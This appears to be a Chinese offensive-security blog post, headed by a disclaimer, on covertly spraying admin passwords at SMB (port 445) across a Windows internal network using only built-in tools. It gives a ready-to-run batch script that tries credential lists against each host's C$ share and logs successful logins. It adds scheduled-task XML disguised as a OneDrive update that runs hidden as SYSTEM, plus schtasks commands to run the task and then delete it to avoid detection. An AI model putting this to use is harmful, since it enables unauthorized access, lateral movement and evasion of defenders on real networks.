原文链接:“不依托任何外部工具隐蔽进行smb喷射”
声明: 文章初衷仅为攻防研究学习交流之用,严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动,因此所产生的一切不良后果与本文作者及该公众号无任何关联 另外,这只是一个个人性质的公众号(非任何商业营销号),目的也仅为技术分享交流,并不想去招惹任何是非,故,除了此公众号,将不再考虑做其他的任何推广 ( 细心的你,可能也发现了,至今为止,甚至连一则外部广告都不曾出现过 ),再次声明,严禁所有未经本人明确授权的恶意转载 及 非法营销牟利行为 0x01 场景说明 之前有弟兄无意中问道,怎么才能在不依托任何三方外部工具的前提下,对内网所有开了445端口的windows机器进行批量Smb喷射,也可能是遇到了一些比较特殊的场景需求吧,其实非常简单,一个批处理足矣,之前好像也写过类似的,记不太清了,只是当时写的太差,很乱,所以就打算再重新搞下,本身没什么技术含量,因为是批处理,又全部用的系统内置工具,理论上只要有一个能正常跑cmd的地方就可以用,而且支持所有windows版本,在某极个别苛刻场景条件下的适应性还是很强的 0x02 实操过程 首先,依然是从一个BypassUAC后的 Beacon shell开始,通过简单探测发现如下Windows机器的445可通
接着,准备好喷射脚本,然后再把事先通过其它渠道搜集到的(域)管理账号密码写进去,不用太多,一次三四个足矣,另外,中间的每次连接都加了延迟 @echo off set user=administrator motoo\its set pwd=Admin12345 admin!@#45 Motoo123!@#45 for /f %%i in (c:/users/public/host.txt) do ( for %%j in (%pwd%) do ( for %%k in (%user%) do ( net use \\%%i\c$ /user:"%%k" "%%j" > nul && ping 127.0.0.1 -n 2 > nul && if %errorlevel% equ 0 ( echo %%i %%k %%j Login Succeed && echo %%i %%k %%j Login Succeed >> c:\users\public\SmbCache.txt ) && ping 127.0.0.1 -n 2 > nul && net use \\%%i\c$ /del > nul && ping 127.0.0.1 -n 2 > nul ) ) ) 实际中脚本可能还要跑一段时间,为了不影响后续的其它操作,同样,还是把它放到计划任务去执行,之后,回到本地机器创建一个计划任务模板,注意如下的勾选项,创建完成后导出xml,因为后面会直接用xml来创建计划任务 Xml内容如下,唯一需要注意的就是,此处是以system权限运行的,关于其它每个标签项参数的具体用途说明非常简单,弟兄们自行看下即可,此处不再赘述 <?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Date>2020-08-02T09:46:39</Date> <Author>MOTOO\LiWei</Author> <URI>\OneDrive Standalone Update Task-S-1-5-21-284927032-1122706408-2778656994-1127</URI> </RegistrationInfo> <Triggers> <CalendarTrigger> <StartBoundary>2020-08-02T10:05:00</StartBoundary> <Enabled>true</Enabled> <ScheduleByDay> <DaysInterval>1</DaysInterval> </ScheduleByDay> </CalendarTrigger> </Triggers> <Principals> <Principal id="Author"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <StartWhenAvailable>false</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>true</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>PT72H</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context="Author"> <Exec> <Command>c:\users\public\SmbBru.bat</Command> </Exec> </Actions> </Task> 额外补充, 查询指定用户sid,注意,本地和域的sid稍有不同 # wmic useraccount where name='liwei' get sid 最后,创建执行计划任务,进行后台喷射,一般情况下当计划任务正常执行起来之后,就可以立即删掉了,尽量避免被发现,或者别把它创建在根下,放到根下的Windows或者Office也行 # schtasks /create /xml "C:\Users\Public\OneDrive Standalone Update Task-S-1-5-21-284927032-1122706408-2778656994-1127.xml" /tn "OneDrive Standalo***" # schtasks /run /tn "OneDrive Standalone Update S-1-5-21-284927032-1122706408-2778656994-1127" # schtasks /delete /F /tn "OneDrive Standalone Update S-1-5-21-284927032-1122706408-2778656994-1127" # schtasks /tn "OneDrive Standalone Update S-1-5-21-284927032-1122706408-2778656994-1127" /query /fo list /v 实际喷射效果 小结: 关于喷射,需要多说明一点,务必要保证极强的针对性,非常不建议一上去不管三七二十一,撸着工具就开始一堆账号密码批量C段盲跑(发现很多弟兄都爱这么干,省心是省心,如果目标内网环境宽松,没啥问题,稍微严一点,估计就要付出代价了,某些工具在喷射之前还会进行一次端口扫描,这样可能就会造成非常多的重复性的端口探测动作,还是那个原则,给对方留的东西越少越好,不管是流量,工具,样本...想不留任何东西,不太现实,但还是尽可能留的少一些吧),一个是动静儿大(中间会产生非常多的无意义连接,比如,有些机器445端口本身就是没开的,但还是去尝试了一次连接),另一个就是,大大增加了喷射时间,所以,实在没有必要,更高效的喷射,应该是你已经事先明确知道哪些机器上开了端口,然后后续只需再针对这些机器进行小范围的微量随机喷射,废话不多讲,祝弟兄们,好运 如果觉得确实还不错,也欢迎积极转发留言,以便让更多真正需要的人都能看到,如遇到文中错误,也欢迎随时私信指正,非常感谢
|